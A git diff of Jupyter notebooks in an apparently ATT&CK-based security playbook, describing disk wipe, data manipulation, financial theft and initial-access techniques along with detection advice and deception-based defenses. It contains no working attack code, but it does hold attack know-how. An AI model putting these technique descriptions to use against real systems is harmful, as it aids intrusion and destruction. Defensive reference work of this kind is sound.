"metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1561.002.ipynb b/playbook/tactics/impact/T1561.002.ipynb index 92aa9b59..16b204f9 100644 --- a/playbook/tactics/impact/T1561.002.ipynb +++ b/playbook/tactics/impact/T1561.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "260f0a74", + "id": "2ba1b130", "metadata": {}, - "source": "# T1561.002 - Disk Structure Wipe\nAdversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)" + "source": "# T1561.002 - Disk Structure Wipe\nAdversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)" }, { "cell_type": "markdown", - "id": "5c37c92f", + "id": "283314ad", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "5ac35b33", + "id": "bea4c801", "metadata": {}, - "source": "## Detection\nLook for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity." + "source": "## Detection\nLook for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1561.ipynb b/playbook/tactics/impact/T1561.ipynb index 1f1cb6f3..45167f72 100644 --- a/playbook/tactics/impact/T1561.ipynb +++ b/playbook/tactics/impact/T1561.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "fe7d9f88", + "id": "966e19a6", "metadata": {}, - "source": "# T1561 - Disk Wipe\nAdversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)" + "source": "# T1561 - Disk Wipe\nAdversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)" }, { "cell_type": "markdown", - "id": "bdfa20fc", + "id": "db30b9d1", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2015eebd", + "id": "a4d28616", "metadata": {}, "source": "## Detection\nLook for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity." }, { "cell_type": "markdown", - "id": "e996a68e", + "id": "16b4f8a9", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can modify the functionality of commands that are used to delete files or format drives so they fail when used in a specific manner.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1565.001.ipynb b/playbook/tactics/impact/T1565.001.ipynb index 30849cd9..938a9f54 100644 --- a/playbook/tactics/impact/T1565.001.ipynb +++ b/playbook/tactics/impact/T1565.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0d048d52", + "id": "86ae008d", "metadata": {}, "source": "# T1565.001 - Stored Data Manipulation\nAdversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact." }, { "cell_type": "markdown", - "id": "976a7502", + "id": "43e352f7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7d7503e8", + "id": "f5d4a5d6", "metadata": {}, "source": "## Detection\nWhere applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1565.002.ipynb b/playbook/tactics/impact/T1565.002.ipynb index 96d92ea6..40355347 100644 --- a/playbook/tactics/impact/T1565.002.ipynb +++ b/playbook/tactics/impact/T1565.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4de61702", + "id": "d88bfc69", "metadata": {}, "source": "# T1565.002 - Transmitted Data Manipulation\nAdversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact." }, { "cell_type": "markdown", - "id": "3416613c", + "id": "dbd46dab", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f05bbd6f", + "id": "58d57e1a", "metadata": {}, "source": "## Detection\nDetecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1565.003.ipynb b/playbook/tactics/impact/T1565.003.ipynb index 6baa1e12..db1df491 100644 --- a/playbook/tactics/impact/T1565.003.ipynb +++ b/playbook/tactics/impact/T1565.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "49d208ac", + "id": "0e4f4893", "metadata": {}, "source": "# T1565.003 - Runtime Data Manipulation\nAdversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact." }, { "cell_type": "markdown", - "id": "f9e78584", + "id": "ba536e09", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "61240738", + "id": "78faaa8a", "metadata": {}, "source": "## Detection\nInspect important application binary file hashes, locations, and modifications for suspicious/unexpected values." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1565.ipynb b/playbook/tactics/impact/T1565.ipynb index c06e644a..6624286c 100644 --- a/playbook/tactics/impact/T1565.ipynb +++ b/playbook/tactics/impact/T1565.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "1b38fdf8", + "id": "2d070361", "metadata": {}, "source": "# T1565 - Data Manipulation\nAdversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact." }, { "cell_type": "markdown", - "id": "7e4b3cb1", + "id": "735631e0", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0e477baf", + "id": "21f75791", "metadata": {}, "source": "## Detection\nWhere applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data." }, { "cell_type": "markdown", - "id": "cfaff6cd", + "id": "fe6d57eb", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to observe how an adversary might manipulate data on a system.\n#### Use Case\nA defender can deploy decoy content to see if an adversary attempts to manipulate data on the system or connected storage devices.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1657.ipynb b/playbook/tactics/impact/T1657.ipynb new file mode 100644 index 00000000..c88868f4 --- /dev/null +++ b/playbook/tactics/impact/T1657.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "04682fc0", + "metadata": {}, + "source": "# T1657 - Financial Theft\nAdversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening public exposure unless payment is made to the adversary.(Citation: Mandiant-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)" + }, + { + "cell_type": "markdown", + "id": "c84e7baa", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/initial-access.ipynb b/playbook/tactics/initial-access.ipynb index 1387e30b..008c332c 100644 --- a/playbook/tactics/initial-access.ipynb +++ b/playbook/tactics/initial-access.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "1d8933fb", + "id": "5f325671", "metadata": {}, - "source": "# Initial Access\nThe adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1078.004 | Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.\nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. \nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1195.003 | Compromise Hardware Supply Chain | Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.\nT1195.002 | Compromise Software Supply Chain | Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) \nT1195.001 | Compromise Software Dependencies and Development Tools | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. \nT1566.003 | Spearphishing via Service | Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nT1566.002 | Spearphishing Link | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\nT1566.001 | Spearphishing Attachment | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. \nT1566 | Phishing | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.\nT1193 | Spearphishing Attachment | Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\nT1200 | Hardware Additions | Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)\nT1192 | Spearphishing Link | Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)\nT1195 | Supply Chain Compromise | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\nT1190 | Exploit Public-Facing Application | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web 